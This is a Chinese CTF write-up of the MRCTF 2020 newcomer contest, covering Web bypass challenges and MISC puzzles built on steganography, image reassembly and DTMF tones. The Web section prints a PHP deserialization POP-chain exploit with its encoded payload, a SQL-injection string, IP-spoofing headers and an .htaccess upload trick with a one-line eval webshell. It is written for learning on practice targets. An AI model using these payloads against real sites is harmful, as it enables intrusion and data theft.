0x00 前言
题目整体来说不太难,毕竟是个新生赛,Web出的大部分题都很简单。但考察的知识点等方面,确实需要总结一下。于是我总结了部分MISC和Web。(Crypto不想总结)。
0x01 Web
这个题出的感觉在考脑洞。。。前端js验证很好绕过(然而绕过也没啥用,而且直接就可以访问flag.php,但没有flag)只有这个:
在这里插入图片描述
最近可能做题做傻了,看到IP竟然没想到IP伪造(如XFF欺骗),枯了。。。
这个很容易bypass,数组绕过md5、数字+字母绕过is_numeric()
在这里插入图片描述
第二步也可以用语句绕过1234567|1=1
PHP反序列化和pop链我学的不太好(之后再好好学习总结一下),然后这道题就没做。抽空再补补相关知识。
wp说考点就下面这三个:
反序列化魔术方法
__construct()//当一个对象创建时被调用 __destruct() //当一个对象销毁时被调用 __toString() //当一个对象被当作一个字符串使用 __sleep()//在对象在被序列化之前运行 __wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过) __get()//获得一个类的成员变量时调用 __set()//设置一个类的成员变量时调用 __invoke()//调用函数的方式调用一个对象时的回应方法 __call()//当调用一个对象中的不能用的方法的时候就会执行这个函数
php复制代码
public、protected与private在序列化时的区别
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0
的前缀。这里的 \0
表示 ASCII 码为 0 的字符(不可见字符),而不是 \0
组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username
会报错,因为实际上并不是\0
,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
BASE64 Wrapper LFIphp://filter/convert.base64-encode/resource=flag.php
这里直接粘上wp上的exp和分析过程,自己大致思考了一下:
Exp:
<?php class Show{ public $source; public $str; } class Test{ public $p; } class Modifier{ protected $var; function __construct(){ $this->var="php://filter/convert.base64-encode/resource=flag.php"; } } $s = new Show(); $t = new Test(); $r = new Modifier(); $t->p = $r; $s->str = $t; $s->source = $s; var_dump(urlencode(serialize($s))); ?>
php复制代码
分析
<?php //flag is in flag.php //WTF IS THIS? //Learn From http://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value);//8.触发这个include,利用php base64 wrapper 读flag } public function __invoke(){ $this->append($this->var);//7.然后会调用到这里 } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source;//4.这里会调用str->source的__get(获得一个类的成员变量)那么我们将其设置为Test对象 } public function __wakeup(){ //2.如果pop是个Show,那么调用这里。产生思考:这个地方是可以通过对象属性个数的值大于真实个数的属性,跳过__wakeup的执行 if(preg_match("/gopher|http|file|ftp|http|dict|\.\./i", $this->source)) { //3.匹配的时候会调用__toString,即当一个对象被当作一个字符串使用时 echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p;//5.触发到这里 return $function();//6.()会调用__invoke,我们这里选择Modifier对象 } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']);//1.反序列调用这里 } else{ $a=new Show; highlight_file(__FILE__); } ?>
python复制代码
由exp得到payload
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D
php复制代码
得到base64编码的flag.php
源码,解码得到flag
这道题比较简单。查看源代码,发现:
<!-- //1st $query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; } !-->
php复制代码
1.要求传入b_u_p_t
,且_
或%5f
的个数都要为0
百度后发现:在URL中GET请求当输入.
或空格
或_
都会被忽略,所以b_u_p_t
即b u p t
或b.u.p.t
2.这个正则的意思是要23333开头和结尾,但值不能是23333。
百度后了解到:url的%0a
为换行污染,可以绕过这个正则,且值不为23333。
放上当时做题截图:
在这里插入图片描述
然后url输入secrettw.php
进入下一关。
发现jsfuck编码,解码得post me Merak
。POST传入Merak=1
可查看源码。
<?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
php复制代码
伪造本地ip,测试发现禁了XFF头,然后我用Client-IP
头。
又发现file_get_contents
里有个自定义的change函数执行解密操作
于是我根据源码反向写出加密的exp:
<?php /*function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; }*/ function result($re){ $v = ''; for($i=0;$i<strlen($re);$i++){ $v .=chr(ord($re[$i])-$i*2); } $v=base64_encode($v); return $v; } //echo "Your REQUEST is:".change($_GET['file']); echo result($_GET['s']); //echo file_get_contents(change($_GET['file'])); ?>
php复制代码
在这里插入图片描述
得到payload:
secrettw.php?2333=php://input&file=ZmpdYSZmXGI=
php复制代码
然后post参数todat is a happy day
作为get参数?2333
传入的文件内容,最后伪造127.0.0.1提交即可得到flag
在这里插入图片描述
这个题依旧很简单,之前做过安恒新年赛枯燥的抽奖
,和这考察的一模一样,都是在考察mt_rand()函数的PHP伪随机性
。但当时没有总结,以至于看到题时找了一会儿才找到之前的做法,痛失一血(唯一一次离一血这么近,被我给荒废了,枯了)。现在总结一下这种类型题的做法:
大致思路:
1.发现使用mt_rand()函数,并给出生成字符串的一部分
2.用py脚本根据字符串的一部分生成随机数
3.php_mt_seed根据生成的随机数爆出seed
4.根据seed利用php代码生成完整字符串
php伪随机性
如果mt_srand使用同一个seed,生成的随机数是可以爆破出seed的
php_mt_seed
利用py脚本:
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' str2='KVQP0LdJKRaV3n9D' str3 = str1[::-1] length = len(str2) res='' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' ' break print(res)
python复制代码
运行脚本生成随机数
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
py python复制代码
利用php_mt_seed
我在Kali上使用的。
./php_mt_seed 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
python复制代码
在这里插入图片描述
这里不仅要注意利用php_mt_seed生成的seed,还要注意PHP版本(运用PHP代码根据seed生成完整字符串要用)
利用php代码
在这里插入图片描述
大致说一下这道题的思路:
1.根据目录扫描,发现源码泄露www.zip
2.打开源码,发现使用mt_rand()生成伪随机数(这里贴一下关键部分)
// genarate public_key function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } $Public_key = public_key(); //$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
php复制代码
3.根据一部分Public_key->生成随机数->爆出种子>生成完整字符串
4.输入用户名crispr+密码进行SQL注入' or 1=1#
+输入完整字符串得到flag
这个题,依旧很容易。不过当时忘了截图了,再做一遍:
1.通过MIME绕过后端文件类型限制,即修改Content-Type: image/jpg
然后构造.htaccess
,实现重写文件解析。.htaccess
文件内容为:
<FilesMatch "webshell"> SetHandler application/x-httpd-php </FilesMatch>
php复制代码
先上传.htaccess
,再上传webshell.jpg
,然后webshell.jpg就当php解析了。
webshell可为图片马,也可以只有下面内容:
<?php @eval($_POST[1]); ?>
php复制代码
上传成功,菜刀或蚁剑一连。在根目录下找到flag
在这里插入图片描述
Web还有两道题,一道依旧是pop链,另一道是多种手段动调+静态调试Web Assembly。
pop链还没咋学,而这道pop链的题似乎看起来稍微难点,等学过后再总结。
另一道题没听说过,有时间的话了解一下。。
文末有官方wp参考链接
0x02 MISC
在这里插入图片描述
一看到这个拼图,我就放弃拼了。以为需要一个一个拼,看了wp发现原来有工具。总结一下解法
解法1:手动拼图
这个就手工拼就好了。。。。。可以放ppt里拼
解法2:写脚本+手拼
我不会写,直接拿来大师傅写的脚本:
用下面两个脚本把纵向的大概拼一下,然后剩的为数不多的几张图再手动拼。
import os from PIL import Image s=[] for i in os.listdir('ini'): if i[-4:]=='.jpg': s.append(Image.open(open('ini/'+i,'rb'))) for i in s: assert i.size[0]==200 and i.size[1]==100 print(len(s)) def dis(a,b): r=0 for i in range(3): if a[i]>50 or b[i]>50: r+=(a[i]-b[i])**2 else: r+=1000 return r def matchx(a,b): s=0 for i in range(200): s+=dis(a.getpixel((i,99)),b.getpixel((i,0))) return s t=[] for i in range(len(s)): for j in range(len(s)): if i==j:continue t.append((matchx(s[i],s[j]),i,j)) t.sort() rs='' for i in t: rs+='%d %d %d\n'%i open('out.txt','w').write(rs)
python复制代码
import os from PIL import Image im=Image.open('ini/00fd5b9.jpg') fn=[] for i in os.listdir('ini'): if i[-4:]=='.jpg': fn.append('ini/'+i) s=[] for i in open('out.txt').readlines(): v=i.split() if len(v)==3: s.append(tuple(map(int,v))) nxt=[-1]*120 pre=[-1]*120 rem=120 for v,a,b in s: if nxt[a]==-1 and pre[b]==-1: nxt[a]=b pre[b]=a rem-=1 if rem==10: break for i in range(120): if pre[i]==-1: t=[] x=i while x!=-1: t.append(fn[x]) x=nxt[x] print(len(t)) imt=im.resize((200,100*len(t))) cnt=0 for j in t: imv=Image.open(j) imt.paste(imv,(0,100*cnt,200,100*(cnt+1))) cnt+=1 imt.save('outi/%d.png'%i)
python复制代码
先建两个文件夹ini和outi。ini里放图片碎片,outi是脚本最后生成的图片。这道题,注意删除一张不是图片碎片的jpg文件。然后执行脚本,最后把outi里的图片再大致手拼一下就好了
在这里插入图片描述
解法3:gayhub上的gaps工具
使用gaps工具是最好的方法。
具体安装及使用流程:
(1) ImageMagick安装
apt-get install libjpeg* apt-get install libpng* apt-get install libtiff* apt-get install libungif* apt-get install freetype* apt-get install zlib* #下载:http://www.imagemagick.org/download/ImageMagick-7.0.10-5.tar.gz tar zxvf ImageMagick-7.0.10-5.tar.gz cd ImageMagick-7.0.10-5 ./configure && make && make install #测试:convert 1.jpg 1.png 没报错并成功转换就是安装成功
shell复制代码
(2)gaps安装
git clone http://github.com/nemanja-m/gaps.git cd gaps pip install -r requirements.txt #如果爆模块安装过的错误,直接在txt文件列表删掉该模块即可 sudo apt-get install python-tk pip install -e .
shell复制代码
执行下面命令,完成拼图:
montage *jpg -tile 10x12 -geometry 200x100+0+0 out.jpg #把图片碎片合成一个图片 # 将目录中的jpg文件按顺序拼成x轴10块,y轴12块,每个图块大小为200x100像素,输出文件为out.jpg gaps --image=out.jpg --generations=50 --population=120 --size=100 #还原原图片 --image 指向拼图的路径 --size 拼图块的像素尺寸 --generations 遗传算法的代的数量 --population 个体数量 --verbose 每一代训练结束后展示最佳结果 --save 将拼图还原为图像
shell复制代码
在这里插入图片描述
参考MISC大师傅博客:ga1@xy
1.binwalk分离图片发现带有aes的Tokyo
2.然后查看.wav文件尾,发现密文(也可以先发现这个密文,Base64解出Salted,“加盐”,想到找密钥)
3.利用密码解密的得到Ending.wav
4.通过silenteye解LSB隐写得到flag
这个题也大致总结下思路:
1.使用winhex或strings命令发现文件末尾隐藏信息
2.strings
会发现[Secret File Part 1-3]的标识
3.16进制打开则发现文件尾的结束符并非jpg的标准结束符FF D9
4.将三段隐藏信息复制到winhex中,得到一个压缩包
5.暴力破解得到弱密码:1234
在这里插入图片描述
6.得到一个flag.txt和.hint.txt。提示0x10,0x20,0x30,0x55。即base16,32,64,85编码。
7.写脚本解码即可,由于之前写过一个脚本,直接使用即可。(这里就不贴出源码了)
自己可参考:http://www.wishingstarmoye.com/tools/base64
在这里插入图片描述
1.自动化解压zip
尝试发现zip的解压密码是文件名字,可以写脚本。这种脚本之前BJD已经见过,看wp写的python2的脚本,算了,不想用。我直接把BJD那个脚本改一下(发现脚本其实特别简单,当时我以为脚本很难。还是自己写脚本用着香啊。。。):
import os import filetype import time while 1: files = os.popen('ls') filename = files.read().replace('1.py','').replace('\n', '') password = filename.replace('.zip', '') kind = filetype.guess(filename) #返回文件类型对象 if kind.extension is 'zip': #支持类型,kind.extension 后缀,kind.mime MIME类型 os.system("unzip -P {} {}.zip".format(password, password)) #unzip -P a a.zip os.system("rm "+password+".zip") time.sleep(0.1) else: print('解压完成') break
python复制代码
2.像素点画图
这个用过gnuplot利用坐标画过图,这里是利用像素点画图,直接用脚本(这个也挺容易写):
可以参考:PIL模块使用
from PIL import Image x = 200 #x坐标 通过对txt里的行数进行整数分 y = 200 #y坐标 x * y = 行数 im = Image.new("RGB", (x, y)) file = open('qr.txt') for i in range(0, x): for j in range(0, y): line = file.readline() #获取一行的rgb值 line = line[:-2] line = line[1:] #print(line) rgb = line.split(", ") #分离rgb,文本中逗号后面有空格 im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2]))) im.save('flag.png')
python复制代码
在这里插入图片描述
得到一张二位码,扫描得到flag
复现后,这里只写一下思路:
1.修复文件头6152
改为5261
2.word隐写,即显示隐藏文字(之前已了解过,Word文字的三种隐藏方法)
3.解密音符(这个之前没见过,不过千千秀字上有文本加密为音乐符号在线解密)
在这里插入图片描述
就是个简单的拨号音隐写(dtmf)。跑脚本的话,我跑出的结果错了几位,只好一个一个的听了,参考通过按键音判断输入的数字。
或者通过拨号音的信号频率判断,这个可以使用Au。
在这里插入图片描述
当然这类题有的也可以直接用dtmf-decoder脚本或DTMF decoder安卓app或工具dtmf2num
0x03 后记
通过这次做题,我了解到(或简单总结)了一些bypass
、初识了POP链
、mt_rand()函数的PHP伪随机性
、拼图脚本及工具的使用
、音频的LSB隐写
、Base家族的其他成员
、文件名为密码解压压缩包脚本的编写
、利用PIL库和py脚本进行像素点画图
、音乐符号解密
、拨号音隐写
。好了,大概就那么多,继续加油!!
官方wp:MRCTF新生赛 2020
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 qwzf[email protected]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论